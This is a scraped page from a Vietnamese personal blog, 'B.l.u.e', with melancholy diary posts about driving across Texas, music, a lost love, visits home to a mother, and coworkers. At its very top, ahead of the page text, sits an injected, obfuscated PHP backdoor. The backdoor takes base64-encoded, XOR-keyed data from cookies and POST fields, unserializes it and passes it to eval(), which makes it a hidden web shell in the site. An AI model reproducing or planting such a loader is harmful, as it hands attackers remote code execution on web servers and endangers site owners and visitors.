$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> Another Me – Page 5 – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Category: Another Me (page 5 of 13)

một vùng mây trắng, bay đi tìm nhau…

Texas Road

Em rời nhà lúc trời trưa gắt nắng. Lái xe giữa cái nóng khắc nghiệt của Texas, mặc dù trong xe đã mở điều hòa tối đa, một tay ôm vô-lăng, một tay cầm chai ca-fe mát lạnh, em vẫn thấy nóng bức và khó chịu. Điểm an ủi duy nhất là trời xanh, và rất đẹp.

Em đã kể là mây hôm nay cũng rất trắng, và gợi cảm, chưa nhỉ? Ừ, hôm nay em mới để ý, mây lúc nào cũng vui đùa trước cửa kính xe phía trước của em. Mây rất trắng, rất gợi cảm, mây như muốn nói với em: Em là mây, em luôn dõi theo anh!

***

Em với tay chỉnh bài nhạc của nhạc sĩ Quốc Dũng “Anh đã thấy mùa xuân chưa?” Dạ Hương hát. Thật ra ban đầu em nghe thì nghĩ rằng Tuấn Ngọc hát hay nhất, sau bác Bắc tathy giới thiệu bài trên, em mới thấy tầm nhìn mình nông cạn. Dạ Hương hát, mê ngay từ những câu đầu luôn ấy chứ.

***
Một vùng mây trắng, bay đi tìm nhau…

Em ước mình là mây.
Nếu em là mây, em sẽ đi tìm cô ấy. Nếu em là mây, em chỉ cần lộn một vòng, như vận động viên thể dục dụng cụ, thế là đã ở ngay nửa vòng trái đất bên kia. Em sẽ kiếm sợi dây buộc mình vào hàng cây trước cửa nhà cô ấy, để gió khỏi cuốn em đi, để em chờ và thấy cô ấy bước từ nhà ra.
Nếu em là mây, em sẽ nhờ gió thổi em lên thật cao, em sẽ nói hơi nước hòa vào em. Em sẽ sơn lên mình một lớp màu đen thật đen. Và rồi em sẽ thành mưa. Em sẽ rớt lên mi mắt, rớt lên đôi má, rớt lên bờ môi; và lên khe ngực của cô ấy.

Em còn nhớ mọi thứ về cô ấy, nhưng em đã quên đi mùi ngực cô ấy chín tới…. Em thích mùi đó lắm. Giá em là mây dù chỉ trong giây lát, để em một lần nữa chạm lại cái hương vị đê mê quên người ấy.

***

Nhưng em chẳng phải là mây, nên em đành ngồi đây, cười, và hát…

Một vùng mây trắng, bay đi tìm nhau…

B.l.u.e.

tiếng rơi rất nhẹ…

Hôm qua chat với S, đang ngồi chém gió một hồi về thần tượng muôn thuở là anh Phúc và chị Thy thì S gởi cho anh nghe bài Tri hop gì đó liên quan đến biển. Anh thở dài:
– I miss my hometown so much…
S lại gởi tiếp cho anh vài tấm hình chụp Vũng Tàu. Đột nhiên lại nhớ câu hát:
Em đâu phải là chiều
Mà nhuộm anh đến tím
da diết.

Cái mùi cố hương luôn là thứ dễ quyến rũ người ta nhất. Có lẽ còn xếp trên cả mùi nước hoa mà các cô gái thường xịt vào giữa khe ngực.

À, trên cả mùi ngực em chín tới nữa…

***

Bạn hỏi anh:
– Sao dạo này last.fm chỉ toàn thấy Bob Dylan thế?
GS có từng truyền cho anh kinh nghiệm khi tán gái là phải giả vờ nghe mấy bài nhạc xưa xưa. Vì gái nào cũng thích những thứ được phủ lên một lớp bụi thời gian rất nhẹ – dù điều nghịch lý là chúng ở rất ư là sạch. Nhưng, anh có thể khẳng định, anh nghe Bob Dylan cả ngày ở công ty, và nghe The Police, Poison, Cinderella… trên đường đi, là vì anh cảm thấy nó phù hợp với anh. Chứ như anh bây giờ, gái theo nhiều đến mức lấy quạt Ba Tiêu quạt đuổi đi còn không hết, nói gì tới việc phải đi tán gái. Anh xạo đấy.

Nhạc của Bob Dylan có thứ mà anh thích vào thời điểm này: tĩnh lặng và gợi nhớ, như những bản du ca của một gã lêu lỏng, vác cây guitar rong ruổi trên các con đường xuyên bang đất bụi mịt mù…

***

Khi lòng người ta tĩnh lặng, người ta có thể ngồi hàng giở trước bể bơi đầy nắng, nhìn hai chú chó chạy tung tăng vui đùa, chỉ với cái iPod cũ kĩ phát ra thứ nhạc trữ tình đến mức sến đặc và chai beer có độ cồn ít đến đáng thương.

Khi lòng người ta tĩnh lặng, giữa một đống phim trên kệ, người ta không phân vân bỏ qua những cuốn phim kinh dị, hành động… và chọn “Love Story” chỉ vì câu “Love means never having to say you’re sorry.” trên bìa đĩa.

Khi lòng người ta tĩnh lặng, giữa bản giao hưởng của loài dế lúc buổi đêm, người ta vẫn có thể nghĩ rằng mình nghe thấy ngoài thềm có chiếc lá rơi

***

À, khi người ta tĩnh lặng, người ta viết – chẳng – có – nội – dung gì hết.

B.l.u.e

.

bài ca tháng sáu

Quãng đường 400km hôm nay không chán lắm, bởi anh ngồi phone cho bạn anh gần hết 2/3 quãng đường. Vả lại, hôm nay anh có cà-phê mẹ pha rất ư là ngon lành.

1/3 thời gian còn lại, bạn bè chả ai thèm trả lời phone anh, anh ngồi nghe nhạc.

Cái gout âm nhạc của anh hết sức là heo và hổ lốn. Anh thuộc loại hoa nào cũng hái, nhạc nào cũng nhảy (nhưng yêu thì chỉ yêu em – à, em nào, anh nhắc lại lần thứ một ngàn là anh vẫn chưa biết). Vì thế, có rất nhiều điều hài hước khi iPod của anh để chế độ Shuffle.

Có những lúc vừa mới gào thét điên cuồng theo giọng hát như nghiền nát thủy tinh của Phil trong “Cowboy from hell” phút trước, phút sau lại trầm ngâm với tiếng acoustic guitar rất nhẹ của “Stairway to heaven”.

Hay là mới nghe Small Fire hổn hển “bao giờ cho đến mùa đông…” lại run nhẹ người với lối nhả chữ đầy thổn thức của Trần Thu Hà trong “Bài ca tháng 6”

***

Em gặp chúng ta khi đã quá già…

Hôm qua anh có chat với một bé tuổi còn rất trẻ. Chẹp, nghe bé ấy bảo: anh già quá, anh mà trẻ lại em tán anh rồi, anh chỉ ngồi mỉm cười chua chát đánh icon 😀 và nhanh chóng quên mất.

Hôm nay chạy xe nghe tới câu trên, mắt anh rưng rưng chợt khóc. Con người ta già rồi lúc khỉ nào cũng tình cảm dạt dào như thế.

***

Azi hôm qua chat với anh có nói:
– Giá mà đi cafe, còn có Noob và GS như xưa…
Anh không phải chủ ý muốn làm bạn anh buồn, nhưng tính anh từ nhỏ thành thật (đặc biệt với các bạn nữ) đã quen, vì thế anh reply:
– Those days has passed away…

Bạn anh ngày nào từng có câu: không ai tắm hai lần trên một dòng sông, lúc đó anh cho là phét lác. Nay nhìn lại mới thấy có vẻ có lý. Mọi thứ qua đi, vốn dĩ không phải là thời gian qua đi, mà là con người – nay – đã – khác – xưa không muốn tìm lại nó.

***

Anh già rồi. Không thể yêu vội vàng như xưa. Không còn những ngày bạ ai cũng tán tỉnh. Giờ anh chín chắn và chân thành hơn rất nhiều. Chỉ tiếc là các bạn không hiểu anh…

Ôi…

B.l.u.e

Anh.

ai nhớ ngàn năm một ngón tay…

Anh xấu. Đó là điều đau đớn mà anh thừa nhận, dù đôi khi anh hay tự thủ dâm tinh thần rằng phải loài gái vớ va vớ vẩn đâu mà cứ suốt ngày quan tâm tới nhan sắc. Nhưng anh tự thừa nhận thế. Hai điều hiếm hoi anh hài lòng ở mình là chiều cao 1m78 và đôi bàn tay thon dài của mình.

***

Khi còn quen em, điều anh thích nhất khi chat webcam với em là việc em cứ phụng phịu đôi má béo ú của mình, giọng đầy nhõng nhẽo ngọng ngịu nói:
– Ghét ghê! Người gì đâu mà tay dài và thon còn hơn tay con gái á.
Trăm lần như một, anh sẽ trả lời:
– Chứ đâu tay ngắn cũn cỡn lại mũm mĩm như tay em
và vội chèn thêm câu – mà nếu bọn bạn anh nghe, ắt sẽ gọi là lừa tình:
– Tay anh thon và dài, để nắm tay em cho chặt á…

***

Khi còn quen em, anh thích cách em nghiêm túc nhìn anh và nói:
– Sau này chán nhau, chỉ cần nhắm mắt lại, chớ đừng buông tay nhau ra…

Anh và em chia tay hoàn toàn là lỗi của anh. Em buông tay anh ra trước, nhưng tại anh, bàn tay anh quá thon dài và mỏng manh, không đủ sức níu giữ em.

Khi nghe tiếng em nức nở nói lời xin lỗi, cũng như khi gọi em chỉ để nói với em một câu khe khẽ: thank you for loving me… anh đều nhìn bàn tay anh đến xuất thần.

Buông nhau ra thật rồi.

***

Công ty anh ai cũng ngạc nhiên hỏi anh: mày khùng hay sao mà tháng nào cũng lái hơn 1000 miles chỉ để chạy về nhà rồi chạy lên.

Lái xe 8 tiếng cả đi cả về hoàn toàn không bao giờ là công việc gây hứng thú, trái lại nó luôn làm cho người anh rã rời. Cứ mỗi lần nghĩ tới đoạn đường đó, anh chỉ muốn phát ốm. Ban đầu anh không tìm được câu trả lời nào thích hợp mỗi khi có ai hỏi câu đó. Chả thằng con trai nào thừa nhận là nhớ mẹ trước mặt người khác.

Hôm nay ăn tối xong, ngồi với mẹ ngoài sofa. Ngoài trời mưa gió bão bùng, sấm chớp sáng cả bầu trời. Đã bao lâu rồi, khi nắm tay mẹ, anh mới nhận ra, bàn tay mẹ gầy quá, nhỏ quá, lại sần sùi đầy những vết chai…

1000 miles / tháng, 16 tiếng lái xe đi về / tháng, chỉ để nắm chặt bàn tay mẹ. Lí do đó là đủ…

Góc phố còn treo đôi mắt bão
Ai nhớ ngàn năm một ngón tay…

(Du Tử Lê)

300510
B.l.u.e

Tay anh :” />
.

phép cộng, ông trăng và những con bò

Những ngày gần đây anh phấn đấu để trở thành một người chồng tốt. Phấn đấu kiểu này cực lắm, nếu không vì em (dù anh chưa biết là em nào) thì anh bỏ cuộc rồi đấy. À, nhắc cho rõ, phấn đấu ở đây là học nấu ăn ấy.
Sau vài ngày ăn toàn những món cao lương mỹ vị do tự tay mình chế biến như thịt bò khét lẹt, cơm nấu hơi khê, canh chua toàn nước… anh quyết định đổi không khí bằng cách ra ngoài ăn những món bình dân. Thế là anh và Charles lái xe đi chén BBQ.

***

Trên đường lái xe về, gió thổi lồng lộng. Charles đột nhiên nhìn anh gườm gườm và nói: Chuẩn bị, chuẩn bị tinh thần nghe bài hát tuyệt nhất thế gian.
Lại một bài hát heo như heo nữa – anh nghĩ.

Why can’t I get just one kiss?
Why can’t I get just one kiss?

Why can’t I get just one screw?
Why can’t I get just one screw?

Why can’t I get just one fuck?
Why can’t I get just one fuck?

Những bài hát hư hỏng, chỉ giành cho người hư hỏng nghe. Charles thì hư sẵn rồi, còn anh, vì anh nghe bài hư hỏng đó, nên anh mới hư theo.

Anh từng nói rằng ứ thèm nhớ em. Khi anh ngoan thì anh giữ lời. Khi anh hư, anh cố tình quên mất.

***

Charles có nhiều thú vui, có những thú vui tao nhã như bắn súng, lại có thú vui bạo lực như ngồi chơi với hai con chó nghịch ngợm. Lão ấy lại có những thú vui mà anh liệt vào hàng “heo lắm”. Như là thiên văn chẳng hạn.

Gọi là thiên văn cho oai, chứ thật ra là cả hai vác cái kính dòm trời (người ta gọi nó là kính viễn tưởng, nhầm, viễn vọng) ra đứng cạnh bể bơi, ngó khắp bầu trời, ngắm vẻ đẹp của những vì sao trong cái cảnh đôi lúc rét run người mỗi lần có cơn gió thổi qua.

Bữa đó, Charles giành kính đứng ngắm một ngôi sao có màu đỏ – mà ông cam đoan là UFO. Còn anh, dùng mắt thường ngắm trăng.

Trăng cô đơn, gió lạnh. Anh không lạnh, nhưng anh cô đơn.

***

Trên đường đi làm, anh đi ngang qua một đồng cỏ rất rộng, rộng ơi là rộng. Mỗi chiều về, khi mặt trời toả ra thứ ánh sáng nhàn nhạt, thường có một đàn bò nhởn nhơ gặm cỏ. Cái thái độ hết sức là nhởn nhơ của đàn bò, không hiểu sao, lại như một liều thuốc xoá tan đi mọi mệt nhọc, căng thẳng trong anh.

Đó là những phút hiếm hoi anh thấy lòng thanh thản, bình yên. Anh thấy dưới ánh hoàng hôn đẹp mê người ấy, như lời hứa, anh nắm tay em, ngồi ngắm – mặt trời lặn…

B.l.u.e.

take me to bed or lose me forever

Charles lúc nào câu cửa miệng khi trò chuyện với những đồng nghiệp khác trong công ty cũng là: Tụi mình phải cải tạo thằng Hải, nó chả biết gì về văn hoá Mỹ. Thế là thực hiện ý định của mình, Charles lục trong mớ DVD cũ của mình ra những tác phẩm mà theo ý ông thì thằng trai Mỹ nào cũng biết.

Top Gun là một bộ phim mà thằng trai Mỹ thập niên 80 nào cũng khoái. Trời, sao Charles không nhận ra đây đã là năm 2010 rồi nhỉ? Dù sao, để khỏi làm lãng phí cái ý tốt đẹp của ông, tôi đành nằm bò ra sofa, vừa ngáp vừa cố nhai cho hết cuốn film đó.

Mỗi lần tới câu cliché nào, Charles đều gầm lên: đấy đấy, mày phải nhớ câu này. Có một đoạn mà nhân vật nữ trong film nói: take me to bed or lose me forever. Charles vỗ đùi đen đét và bảo tôi: mày gặp gái, chỉ cần nói câu này là đủ, mặc cho tôi nhìn ông với ánh mắt – mà – ai – cũng – biết – là – ánh – mắt – gì – đó (trời – ơi – đánh – kiểu – này – mỏi – tay – ghê).

**************

Bọn tôi đi ăn tiệm. Quán ăn Việt Nam có một cô bé rất xinh đứng ở bàn thu ngân. Thấy tôi lần nào tới cũng nhìn cô bé chăm chú, Charles và một tay khác cùng công ty bảo tôi:
– Mày ra dùng câu trong film Top Gun nói với con bé ấy đi.
Tôi lại nhìn cả hai bằng ánh mắt (mỏi tay rồi không đánh nữa đâu).
Charles nói tiếp:
– Mày nói câu đó, tao bao mày mấy bữa trưa liên tiếp.

Lòng tham ăn che mờ lí trí, tôi chầm chậm tiến lại gần cô bé ấy. Sau khi lấp bắp “take take take…” (theo Charles là đúng 17 lần – dù tôi không tin), tôi cũng hoàn thành câu đó: take take take, can I take a to-go box, please trong sự cười hô hố của mấy lão đồng nghiệp.

**************

Dù ý định thất bại nhưng tôi vẫn vui. À, tôi quên nói em biết, khi tôi đứng trước mặt cô bé ấy, tôi hoàn toàn quên em.

Em vui không?

-B.l.u.e.

…như ly rượu đầy

Wine

Có rất nhiều người nghĩ rằng phải tỏ ra mình cô đơn vì đó là xu hướng thời đại. Những người đó mãi không thể hiểu cô đơn. Tôi chưa bao giờ muốn mình cô đơn, chỉ bởi vì tôi luôn phải nếm trải những nỗi cô đơn thật sự. Cô đơn hoàn toàn không dễ chịu chút nào.
Tôi sống trong đời được hơn 23 năm, kể từ khi có nhận thức, giây phút trống trải đối mặt với sự cô đơn luôn nhiều hơn lúc vui vẻ.

***

Tôi bắt đầu biết cô đơn là gì từ khi thấy những giọt nước mắt của mẹ. Theo thời gian, tôi càng ngày càng hiểu rõ cô đơn, những lúc nhà cửa ầm ỹ, bát đĩa bay loảng xoảng, tôi và chỉ mình tôi ngồi trong góc căn phòng tối.

Có một lần, người yêu đầu của tôi giận tôi vì lí do vớ vẩn nào đó, đúng dịp nhà tôi có chuyện. Tôi chỉ nói với cô: nhà H đang có chuyện, ngồi bên H tâm sự một xíu được không? Câu trả lời là không.

Tôi quen em. Và tôi xa em.
Xa em với tôi không đơn giản chỉ là mất đi một người yêu đúng nghĩa. Xa em đồng nghĩa với việc tôi lại bị bỏ lại một mình, ừ, chỉ một mình.

Có người hỏi tôi rằng, tại sao tôi lại chọc phá, tán tỉnh nhiều người thế. Tôi không tìm một người thay thế em – làm người yêu của tôi. Tôi chỉ tìm một người, có thể xoa dịu tôi…

…nhất là khi, tôi cảm thấy chán nản như lúc này.

Không còn ai. Không có ai.

-H.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.